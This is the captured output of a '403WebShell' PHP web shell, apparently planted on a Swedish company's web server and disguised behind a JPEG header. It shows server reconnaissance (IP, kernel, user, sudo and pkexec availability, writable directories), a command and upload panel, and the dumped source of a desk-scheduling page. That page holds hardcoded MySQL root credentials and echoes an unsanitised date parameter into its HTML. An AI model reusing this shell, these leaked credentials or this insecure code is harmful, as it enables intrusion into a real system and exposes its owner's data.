????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.59.91.46
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/project/schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/icad.astacus.se/project/schedule/index.php
<?php 
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");

if($_GET['date'] == ""){
$TodaysDate = date("Y-m-d");
}else{
	$TodaysDate = date("Y-m-d",strtotime($_GET['date'] ));
}


	$sql = "SELECT DeskSchedule.ProjectId, DeskSchedule.Shift, Desks.Name as DName, Project.Name as Name, Project.CompanyId as CompanyId, DeskSchedule.DeskId, DeskSchedule.Hrs, Project.TimeReal as TimeReal, Project.TimeSpent as TimeSpent, Project.CustomerDeliveryDate FROM DeskSchedule, Desks, Project where Desks.DeskID =DeskSchedule.DeskId  and Project.ProjectId = DeskSchedule.ProjectId and DeskDate = '$TodaysDate' ";
	

	$result = mysql_query($sql);
	 $Desk = array("","","","","","","","","","","","","","","","","","","","","","","","","","","","","","");
	  $DeskInfo = array("","","","","","","","","","","","","","","","","","","","","","","","","","","","","","");
	   $DeskInfoList = array("","","","","","","","","","","","","","","","","","","","","","","","","","","","","","");

$DeskInfoHrs = array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0);
	  $Estimate = array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0);
	  
 $Spent = array(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0);
	  

	  while ($row = mysql_fetch_assoc($result)){ 
	  	$Desk[$row['DeskId']] = $row['DName'];
		$DeskInfo[$row['DeskId']] .= "Project: ". $row['CompanyId']."_".$row['Name']. " (".$row['ProjectId']. ") Shift: ".$row['Shift']. " Hrs: ".$row['Hrs']."<br><br>";
		
		   $ScheduledDeliveryToCustomer = substr($row['CustomerDeliveryDate'],0,10);
		  $DeskInfoList[$row['DeskId']] .= $row['CompanyId']."_".$row['Name']. " (".$row['ProjectId']. ") L: ". $ScheduledDeliveryToCustomer ." <br>";
		
		  
		  $DeskInfoHrs[$row['DeskId']] += $row['Hrs'];
		  if($row['Shift'] == 3){
			  $DeskInfoHrs[$row['DeskId']] += $row['Hrs']; 
		  }
		  
		  $Estimate[$row['DeskId']] = $row['TimeReal'];
 			$TimeSpent[$row['DeskId']] = $row['TimeSpent'];
	  }

?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252" />
<title>Untitled Document</title>
<style type="text/css">
#SYS175 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 298px;
    top: 398px;
    background-color: #00FF00;
    opacity: 0.5;
}
#SYS187 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 333px;
    top: 398px;
    background-color: #00FF00;
    opacity: 0.5;
}

#astacus03 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 333px;
    top: 339px;
    background-color: #00FF00;
    opacity: 0.5;
}

#astacus04 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 127px;
    top: 396px;
    background-color: #00FF00;
    opacity: 0.5;
}

#astacus05 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 127px;
    top: 338px;
    background-color: #00FF00;
    opacity: 0.5;
}

#SYS123 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 299px;
    top: 203px;
    background-color: #00FF00;
    opacity: 0.5;
}


#astacus07 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 298px;
    top: 144px;
    background-color: #00FF00;
    opacity: 0.5;
}

#astacus08 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 297px;
    top: 85px;
    background-color: #00FF00;
    opacity: 0.5;
}
#SYS235 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 332px;
    top: 203px;
    background-color: #00FF00;
    opacity: 0.5;
}

#SYS300 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 332px;
    top: 144px;
    background-color: #00FF00;
    opacity: 0.5;
}

#astacus11 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 333px;
    top: 85px;
    background-color: #00FF00;
    opacity: 0.5;
}

#SYS131 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 504px;
    top: 398px;
    background-color: #00FF00;
    opacity: 0.5;
}
#SYS101 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 503px;
    top: 339px;
    background-color: #00FF00;
    opacity: 0.5;
}

#astacus14 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 504px;
    top: 200px;
    background-color: #00FF00;
    opacity: 0.5;
}

#astacus15 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 503px;
    top: 141px;
    background-color: #00FF00;
    opacity: 0.5;
}

#astacus16 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 504px;
    top: 82px;
    background-color: #00FF00;
    opacity: 0.5;
}

#SYS157 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 538px;
    top: 200px;
    background-color: #00FF00;
    opacity: 0.5;
}

#SYS180 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 539px;
    top: 141px;
    background-color: #00FF00;
    opacity: 0.5;
}


#SYS165 {
    position: absolute;
    width: 32px;
    height: 56px;
    z-index: 1;
    left: 539px;
    top: 83px;
    background-color: #00FF00;
    opacity: 0.5;
}

.rubrik {
	font-family: Verdana, Geneva, sans-serif;
	font-size: 24px;
	text-align: center;
}

/* Tooltip container */
.tooltip {
    position: relative;
    display: inline-block;
    border-bottom: 1px dotted black; /* If you want dots under the hoverable text */
}

/* Tooltip text */
.tooltip .tooltiptext {
    visibility: hidden;
    width: 120px;
    background-color: #000;
    color: #fff;
    text-align: center;
    padding: 5px 0;
    border-radius: 6px;

    /* Position the tooltip text */
    position: absolute;
    z-index: 1;
    bottom: 125%;
    left: 50%;
    margin-left: -60px;

    /* Fade in tooltip */
    opacity: 1;
    transition: opacity 1s;
}

/* Tooltip arrow */
.tooltip .tooltiptext::after {
    content: "";
    position: absolute;
    top: 100%;
    left: 50%;
    margin-left: -5px;
    border-width: 5px;
    border-style: solid;
    border-color: #555 transparent transparent transparent;
}

/* Show the tooltip text when you mouse over the tooltip container */
.tooltip:hover .tooltiptext {
    visibility: visible;
    opacity: 1;
}


</style>


<script>

function MM_openBrWindow2(theURL,winName) { //v2.0

  window.open(theURL,winName,'status=yes, resizable=yes','width='+screen.width,'height='+screen.height);
}


function MM_openBrWindow2(theURL,winName,extra) { //v2.0

  window.open(theURL,winName,extra);
}



function show(name){
	if(name == "free"){
			MM_openBrWindow2('Find.php?&Startdate=<?php echo($TodaysDate);?>','win','scrollbars=yes,width=670,height=400');
	}else{
			MM_openBrWindow2('Bookdesk.php?DeskName='+name+'&Startdate=<?php echo($TodaysDate);?>','win','scrollbars=yes,width=670,height=400');
	}
	
	
}


function init(){
	
	

	<?php
	$text = "";
	for ($i = 1; $i <= 30; $i++) {
		if($Desk[$i] != ""){
		
        if(strpos($DeskInfoList[$i], "24441") !== false){
            echo('document.getElementById("'.$Desk[$i].'").style.backgroundColor = "#000000";');
        }else{
            if($DeskInfoHrs[$i] > 1 && $DeskInfoHrs[$i] <= 7 ){
                echo('document.getElementById("'.$Desk[$i].'").style.backgroundColor = "#f4f700";');
            }else if($DeskInfoHrs[$i] > 7 && $DeskInfoHrs[$i] <= 13){
                echo('document.getElementById("'.$Desk[$i].'").style.backgroundColor = "#f7a300";');
            }else if($DeskInfoHrs[$i] > 13){
                echo('document.getElementById("'.$Desk[$i].'").style.backgroundColor = "#FF0000";');
            }
        }
            
			
			
			echo('document.getElementById("'.$Desk[$i].'").style.opacity = 0.7;');
			echo('document.getElementById("'.$Desk[$i].'A").innerHTML = "'.$DeskInfo[$i]." Total Hrs: ".$DeskInfoHrs[$i]." ".'";');

		}
			
	}
	
	
	
	
	
	?>

	
}

</script>
	<meta http-equiv="refresh" content="3600;URL='https://icad.astacus.se/project/schedule/" >
</head>

	
	
	
<body onload="init();">
	<table width="100%" border="0">
  <tbody>
    <tr>
      <td valign="top"><table width="800" border="0" cellspacing="0" cellpadding="0">
        
        <tr> </tr>
        <tr>
          <td colspan="5"><br />
            <img src="background.png" alt="" width="800" /><br /></td>
          <td colspan="5" valign="top"></td>
          <td colspan="5"><a href="" onclick="show('SYS175');">
            <div id="SYS175" class="tooltip"><span class="tooltiptext" id="SYS175A">Empty!</span></div>
            </a> <a href="" onclick="show('SYS187');">
              <div id="SYS187" class="tooltip"><span class="tooltiptext" id="SYS187A">Empty!</span></div>
              </a> <a href="" onclick="show('astacus03');">
              <div id="astacus03" class="tooltip"><a href="" onclick="show('astacus03');"><span class="tooltiptext" id="astacus03A">Empty!</span></div>
              </a> <a href="" onclick="show('astacus05');">
                  <div id="astacus05" class="tooltip"><span class="tooltiptext" id="astacus05A">Empty!</span></div>
                  </a> <a href="" onclick="show('astacus04');">
                    <div id="astacus04" class="tooltip"><span class="tooltiptext" id="astacus04A">Empty!</span></div>
                    </a> <a href="" onclick="show('SYS123');">
                      <div id="SYS123" class="tooltip"><span class="tooltiptext" id="SYS123A">Empty!</span></div>
                      </a> <a href="" onclick="show('astacus07');">
                        <div id="astacus07" class="tooltip"><span class="tooltiptext" id="astacus07A">Empty!</span></div>
                        </a> <a href="" onclick="show('astacus08');">
                          <div id="astacus08" class="tooltip"><span class="tooltiptext" id="astacus08A">Empty!</span></div>
                          </a> <a href="" onclick="show('SYS235');">
                            <div id="SYS235" class="tooltip"><span class="tooltiptext" id="SYS235A">Empty!</span></div>
                            </a> <a href="" onclick="show('SYS300');">
                              <div id="SYS300" class="tooltip"><span class="tooltiptext" id="SYS300A">Empty!</span></div>
                              </a> <a href="" onclick="show('astacus11');">
                                <div id="astacus11" class="tooltip"><span class="tooltiptext" id="astacus11A">Empty!</span></div>
                                </a> <a href="" onclick="show('SYS131');">
                                  <div id="SYS131" class="tooltip"><span class="tooltiptext" id="SYS131A">Empty!</span></div>
                                  </a> <a href="" onclick="show('SYS101');">
                                  <div id="SYS101" class="tooltip"><span class="tooltiptext" id="SYS101A">Empty!</span></div>
                                    </a> <a href="" onclick="show('astacus14');">
                                      <div id="astacus14" class="tooltip"><span class="tooltiptext" id="astacus14A">Empty!</span></div>
                                      </a> <a href="" onclick="show('astacus15');">
                                        <div id="astacus15" class="tooltip"><span class="tooltiptext" id="astacus15A">Empty!</span></div>
                                        </a> <a href="" onclick="show('astacus16');">
                                          <div id="astacus16" class="tooltip"><span class="tooltiptext" id="astacus16A">Empty!</span></div>
                                          </a> <a href="" onclick="show('SYS157');">
                                            <div id="SYS157" class="tooltip"><span class="tooltiptext" id="SYS157A">Empty!</span></div>
                                            </a> <a href="" onclick="show('SYS180');">
                                              <div id="SYS180" class="tooltip"><span class="tooltiptext" id="SYS180A">Empty!</span></div>
                                              </a> <a href="" onclick="show('SYS165');">
                                                <div id="SYS165" class="tooltip"><span class="tooltiptext" id="SYS165A">Empty!</span></div>
                                              </a></td>
        </tr>
        <tr>
          <td width="109">&nbsp;</td>
          <td width="282">&nbsp;</td>
          <td width="500"><p class="rubrik">
            <?php
    
	$date = isset($_GET['date']) ? $_GET['date'] : date('Y-m-d');
$prev_date = date('Y-m-d', strtotime($date .' -1 day'));
$next_date = date('Y-m-d', strtotime($date .' +1 day'));
	
	?>
            <a href="?date=<?php echo($prev_date);?>">&lt;-- </a><?php echo($TodaysDate);?> <a href="?date=
	<?php echo($next_date);?>"> --&gt;</a></p>
            <p class="rubrik">&nbsp;</p></td>
          <td width="218">&nbsp;</td>
          <td width="273">&nbsp;</td>
        </tr>
<tr></tr>
      </table></td>
      <td valign="top"><br>
      <br /><br>
		 <span style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 9"> <strong>Registration</strong></span>
      <table width="800" border="1" style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 9">
        <tbody>
          <tr>
            <td width="75">Table:</td>
            <td width="466">Projects:</td>
            <td width="60"> Today:</td>
            <td width="57">&nbsp;</td>
            <td width="57">&nbsp;</td>
            <td width="45">&nbsp;</td>
          </tr>
          <?php
	  $tot = 0;
	  	for ($i = 1; $i <= 30; $i++) {
		if(strpos($DeskInfoList[$i], "24441") === false){
        if($Desk[$i] != "" && (strpos($Desk[$i], "175") !== false or strpos($Desk[$i], "187") !== false)){
		
		$tot += $DeskInfoHrs[$i];
            
	  ?>
          <tr>
            <td width="75"valign="top"><?php echo($Desk[$i]);?> </td>
            <td width="466" valign="top"><?php echo($DeskInfoList[$i]);?></td>
            <td width="60"valign="top"><?php echo($DeskInfoHrs[$i]);?> h </td>
            <td width="57">&nbsp;</td>
            <td width="57">&nbsp;</td>
            <td width="45">&nbsp;</td>
          </tr>
          <?php }}
		}?>
        </tbody>
      </table>
      <br />
      	 <span style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 9"><strong>Production</strong></span><br />
      <table width="800" border="1" style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 9">
        <tbody>
    <tr>
      <td width="75">Table:</td>
      <td width="466">Projects:</td>
      <td width="60"> Today:</td>
		<td width="57">Spent:</td>
			<td width="57">Est:</td>
		 <td width="45">%</td>
    </tr>
	  
	  
	  <?php
	  $tot = 0;
	  	for ($i = 1; $i <= 30; $i++) {
            if(strpos($DeskInfoList[$i], "24441") === false){
		   if($Desk[$i] != "" && (strpos($Desk[$i], "175") === false or strpos($Desk[$i], "187") === false)){
		
		$tot += $DeskInfoHrs[$i];
	  ?>
	      <tr>
      <td width="75"valign="top"><?php echo($Desk[$i]);?></td>
      <td width="466" valign="top"><?php echo($DeskInfoList[$i]);?></td>
      <td width="60"valign="top"><?php echo($DeskInfoHrs[$i]);?> h </td>
			  <td width="57"><?php echo($TimeSpent[$i]);?> h </td>
			    <td width="57"><?php echo($Estimate[$i]);?> h </td>
			  <td width="45"><?php echo(round(($TimeSpent[$i] /$Estimate[$i])*100) );?>%</td>
    </tr>
	  
	  <?php }}
		}?>
	  
	  
  </tbody>
		
</table>
		<table width="800" border="1" style="font-family: 'Gill Sans', 'Gill Sans MT', 'Myriad Pro', 'DejaVu Sans Condensed', Helvetica, Arial, 'sans-serif'; font-size: 9">
  <tbody>
    <tr>
      <td width="76"></td>
      <td width="466"></td>
      <td width="123"><?php echo($tot);?> h </td>
		<td width="58">&nbsp;</td>
		<td width="43">&nbsp;</td>
    </tr>
	    </tbody>
		
</table></td>
    </tr>
  </tbody>
</table>
	
	
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit